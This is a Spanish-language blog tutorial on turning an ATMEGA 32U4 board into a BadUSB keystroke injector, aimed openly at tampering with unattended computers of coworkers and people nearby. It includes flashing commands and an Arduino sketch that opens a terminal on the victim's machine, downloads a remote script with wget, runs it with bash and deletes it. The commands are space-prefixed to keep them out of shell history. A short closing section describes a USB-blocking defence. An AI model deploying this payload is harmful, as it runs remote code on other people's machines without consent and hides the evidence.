BadUsb para joder ordenadores sin vigilancia (más rápido)

Unos 8 minutos de lectura Publicado:

Seguimos en la linea de joder a la gente cercana. BadUsb es el nombre que se le da a un tipo de ataque en el que una placa, en apariencia un pendrive, se comporta como un teclado.

TL;DR

Para tener un equivalente al Rubber Ducky, compra una placa ATMEGA 32U4, enchúfala y ejecuta lo siguiente:

wget https://downloads.arduino.cc/arduino-1.8.7-linux64.tar.xz -O /tmp/arduino.tar.xz
cd /opt/
tar xvf /tmp/arduino.tar.xz
cd ~/
git clone https://git.daemons.it/drymer/badusb --recursive
cd badusb/ducky_interpreter/ducky_interpreter
sudo apt install arduino-mk
export ARDUINO_DIR=/opt/arduino-1.8.7
make -k upload

Mete algún payload de estos en la SD y ale.

END

Antes de ver como usarlo, veamos por que es tan jodido este ataque con un poco de contexto. Los USB están en casi todos los dispositivos, ya que son muy barato de implementar y permiten hacer accesible al dispositivo todo tipo de periféricos, como cámaras, almacenamiento o adaptadores de red. Los periféricos USB se pueden ver como ordenadores pequeñitos que tienen un microprocesador que ejecuta el código embebido del firmware del dispositivo. Este procesador actúa como un puente entre el USB y el resto de periféricos y determina como se comporta. Hay controladoras que pueden, literalmente, comportarse como una cámara, almacenamiento y adaptador de red, todo en un dispositivo. Para permitir actualizaciones y arreglar bugs de estos dispositivos, el firmware de algunos periféricos puede ser cambiado. Esto es muy práctico, sobretodo teniendo en cuenta el uso que le damos a los USB, pero es precisamente este el origen del problema, ya que el código que tienen los USB no está firmado. Esto quiere decir que un ordenador no tiene forma de saber si el teclado que han enchufado es realmente el teclado que tiene que ser y no un ratón o una cámara.

Visto el problema que supone, veamos como aprovecharlo y luego veremos como evitarlo. Lo primero es tener un cacharro físico que puedas usar. Hay distintas variantes, como Teensy, pero el que veremos es el Arduino Leonardo. El más conocido de este tipo es el Rubber Ducky, pero cuesta 45$, pero por suerte hay versiones más baratas. El nombre de la placa es ATMEGA 32U4, por lo que en teoría, cualquier plaquita con ese nombre debería valer. Yo he probado los siguientes:

El primero es el más parecido al Rubber Ducky. Tiene la ventaja de tener una SD, lo que quiere decir que flasheando el sketch1 apropiado, podemos crear scripts en el lenguaje de Rubber Ducky y usarlo sin tener que estar reflasheandolo, solo cambiando los scripts en la SD. La ventaja del segundo es que no parece tan sospechoso, tiene pinta de ser un pendrive normal y corriente. Lo malo es que cada modificación del código implica un reflasheo. Ambos se pueden encontrar en las horribles grandes superficies que son Amazon o AliExpress.

Suponiendo que tengamos una plaquita, lo que hará falta para poder flashear el pendrive es tener instalado el IDE de Arduino y un programa llamado Arduino Makefile. El IDE de Arduino se puede descargar desde aquí. No hace falta usar este engendro de IDE, solo necesitamos que esté instalado. Cuando empecé a indagar sobre estas plaquitas lo que más me llamó la atención fue lo poco reproducibles que eran todos los manuales y articulos que encontré. En todos usaban el IDE a pelo, que tiene botoncitos para compilar y flashear el programa. Por suerte encontré el programa que ya mencioné, Arduino Makefile. Permite usar ficheros Makefile para compilar y flashear, lo que hace los sketches mucho más reproducibles, en mi opinión algo mucho más práctico. Instalarlo en Debian Estable es tan fácil como ejecutar apt install arduino-mk. Para todos los demás SO recomiendo echarle un ojo al repositorio del proyecto, enlazado más arriba. Una vez instalado, recomiendo setear la variable ARDUINO_DIR a la ruta del IDE (descomprimido) en el ~/.zshrc o ~/.bashrc o lo que sea que se use.

Una vez hecho, podemos ir al lío. Para aprender como funciona todo, usaremos el repositorio BadUsb de mi git. En el momento de escribir el articulo, hay dos directorios. Uno es el ducky_interpreter y el otro fuckit. Lo primero es clonarlo de forma recursiva, ya que usa submódulos:

git clone https://git.daemons.it/drymer/badusb --recursive

Empecemos por el primer proyecto, ducky_interpreter. Este programa no lo hice yo, lo hizo Xload. Lo que si hice yo fue añadirle soporte para arduino-mk. Viendo que no habia actividad nueva en el repositorio, confiaba poco en que se mergease, pero no solo se ha mergeado sino que además lo hizo en menos de un día, algo que es muy de agradecer.

Ducky interpreter es un programa que emula el comportamiento del Rubber Ducky, es decir, funciona leyendo un fichero de la SD llamado script.txt con un contenido similar a este:

DELAY 3000
GUI
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 750
STRING Hello World!!!
ENTER

Si sabes inglés, será fácil de entender. El DELAY lo que hace es esperar los milisegundos que le digas, GUI es lo mismo que presionar el botón de windows, STRING sirve para escribir normalmente con el teclado y ENTER sirve para presionar enter. Las instrucciones para flashear el pendrive son las siguientes:

# Suponiendo que estamos en el repositorio badusb y que se ha clonado recursivamente
cd ducky_interpreter/ducky_interpreter/
# Compilar el binario
make
# Compilar y flashear. El anterior paso no es necesario, pero no sobra
make -k upload

Lo único que hará falta es formatear la SD en fat32 y escribir algún script.

Este seria el proceso si tuviésemos el BadUsb con SD, si por lo contrario teneis el que no la tiene, quiere decir que tendréis que picar el programa que queréis que ejecute. Veamos un ejemplo simple como es fuckit. En el anterior articulo hablaba de como joder a tus compis de trabajo ejecutando un script que se aloja en fuckit.daemons.it. El sketch de fuckit hace precisamente esto. En el momento de escribir el articulo, el código tiene esta pinta:

#include "Keyboard.h"

void setup() {
    Keyboard.begin();
}

void loop() {
    delay(1000);
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.releaseAll();
    delay(1200);
    Keyboard.print("terminal");
    delay(1200);
    Keyboard.press(KEY_RETURN);
    Keyboard.releaseAll();
    delay(1200);
    Keyboard.println(" wget fuckit.daemons.it");
    Keyboard.println(" bash index.html");
    Keyboard.println(" rm index.html");
    Keyboard.println(" exit");
    delay(1200);
    while(1);
}

Una vez más, si sabes algo de inglés serás capaz de entender casi todo el programa. No entraré en detalles ya que en las referencias hay un enlace que explica todas las funciones disponibles de la librería Keyboard. El programa lo que hace es presionar el botón de Windows, escribir terminal, presionar enter, descargar el script de fuckit.daemons.it con wget, lo ejecuta, lo borra y sale de la terminal. Además, si os fijáis, delante de cada orden hay un espacio. Esto es voluntario, sirve para evitar que estas ordenes no se registren en el histórico de la shell, que en bash es el fichero ~/.bash_history. Se compila y sube de la misma forma que todos los sketch, ejecutando make -k upload.

La parte más compleja de este tipo de los sketches que necesitan una terminal como abrirla. Esto es debido a que no todos los escritorios tienen el mismo programa de terminal. Yo uso termite, pero en kde se usa konsole, en gnome, unity o XFCE gnome-terminal y en LXDE qt-terminal, y estos solo son los escritorios más conocidos. Pero por suerte estos escritorios, que se puede decir tranquilamente que conforman más del 90% de los escritorios que nos podemos encontrar, tienen en común que al presionar el botón de Windows se abre un dashboard que intenta facilitarte la vida al llamar a otros programas. Es por ello que con escribir terminal en este dashboard tenemos lo suficiente para lanzar el programa de terminal de ese escritorio.

Ya solo nos queda ver como protegernos de este ataque. La forma más simple que he encontrado en este repositorio. Consiste en bloquear el procesamiento de cualquier USB y habilitándolo temporalmente de forma manual. Esto es incómodo al principio, pero te acostumbras rápido. Lo primero que habría que hacer es crear el fichero /etc/cron.d/usblock con el siguiente contenido:

@reboot echo 0 > /sys/bus/usb/drivers_autoprobe

De esta forma, con cada reinicio desactivaremos el procesamiento de USBs. Luego crearemos en el $PATH el siguiente script (basado en el repositorio que he comentado más arriba, con alguna mejora):

#!/usr/bin/env sh

# Source: https://github.com/cryptolok/USBlok
# usb ports switch to protect from badUSB and RubberDucky

if [ $1 ]
then
    time=$1
else
    time=10
fi

BUS=/sys/bus/usb/drivers_autoprobe
echo 1 | sudo tee $BUS > /dev/null
echo "Usb unlocked for $time seconds"

sleep $time

echo 0 | sudo tee $BUS > /dev/null

echo "Usb blocked"

Este script lo que hace es permitir que durante 10 segundos por defecto (o los que le pases como primer argumento) procese cualquier USB que se enchufe se procese de forma normal. Una vez pasado ese tiempo, se vuelve a bloquear el procesamiento.

Y hasta aquí llegamos. Las ideas y el código son bienvenidos, como siempre, hay que poblar el repositorio de sketches divertidos.

Tanto para el articulo como para aprender como iba todo, he usado los siguientes recursos:


  1. Sketch es como se llaman los programas de Arduino. [return]
Cualquier duda, se puede preguntar aquí o en los canales descritos en la página principal. Saludos.